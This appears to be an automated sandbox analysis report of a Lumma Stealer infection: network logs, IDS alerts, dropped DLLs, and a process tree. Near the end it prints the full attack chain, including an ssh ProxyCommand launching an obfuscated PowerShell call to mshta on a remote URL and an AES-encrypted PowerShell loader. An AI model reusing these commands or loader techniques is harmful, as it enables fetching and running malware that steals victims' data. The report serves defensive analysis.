Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.18:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.219.192:443 -> 192.168.2.18:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.60:443 -> 192.168.2.18:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.22:443 -> 192.168.2.18:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.22:443 -> 192.168.2.18:49740 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Documents\desktop.ini

Source: chrome.exe

Memory has grown: Private usage: 18MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49733 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058138 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (s3-eu-north-1 .travelguide-techtrends .com) : 192.168.2.18:54022 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49730 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49731 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49732 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058138 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (s3-eu-north-1 .travelguide-techtrends .com) : 192.168.2.18:65117 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49738 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49737 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49735 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49736 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2058139 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI) : 192.168.2.18:49734 -> 104.21.70.44:443

Yara detected Generic Downloader

Source: Yara match

File source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll, type: DROPPED

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49730 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49733 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49731 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49732 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49738 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49735 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49737 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49736 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49734 -> 104.21.70.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49739 -> 104.21.92.22:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.18:49740 -> 104.21.92.22:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.1
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63

Source: global traffic	DNS traffic detected: DNS query: download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: static.klipmybekoe.shop
Source: global traffic	DNS traffic detected: DNS query: www.irs.gov
Source: global traffic	DNS traffic detected: DNS query: flac.mindful-journal.shop
Source: global traffic	DNS traffic detected: DNS query: windows.msn.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: klipmybekoe.shop
Source: global traffic	DNS traffic detected: DNS query: XKZCtENCHPCpteQS.XKZCtENCHPCpteQS
Source: global traffic	DNS traffic detected: DNS query: s3-eu-north-1.travelguide-techtrends.com
Source: global traffic	DNS traffic detected: DNS query: klippetamea8.shop

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.18:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.18:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.18:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.56:443 -> 192.168.2.18:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.60:443 -> 192.168.2.18:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.18:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.219.192:443 -> 192.168.2.18:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.60:443 -> 192.168.2.18:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.44:443 -> 192.168.2.18:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.22:443 -> 192.168.2.18:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.22:443 -> 192.168.2.18:49740 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\MOG_Framework_2.2.14_vc10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\libmp4_plugin.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.AspNetCore.Razor.Language.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WRServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\msvcp80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_dec_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.TestPlatform.VsTestConsole.TranslationLayer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_mfimport.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mlib_image.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.Azure.Management.Storage.Fluent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\_Fs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.VisualC.Utilities.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.NET.Sdk.Publish.Tasks.dll	Jump to dropped file

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2454
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2454

Source: classification engine

Classification label: mal100.troj.expl.evad.win@82/84@16/105

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2204:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4208:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_42zshw3q.4kk.ps1

Source: C:\Windows\SysWOW64\tasklist.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Windows\System32\OpenWith.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2008,i,18372422873552827716,2715434285211757034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2008,i,18372422873552827716,2715434285211757034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Windows\System32\OpenSSH\ssh.exe "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)" .
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://static.klipmybekoe.shop/5MV6U.mp4"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
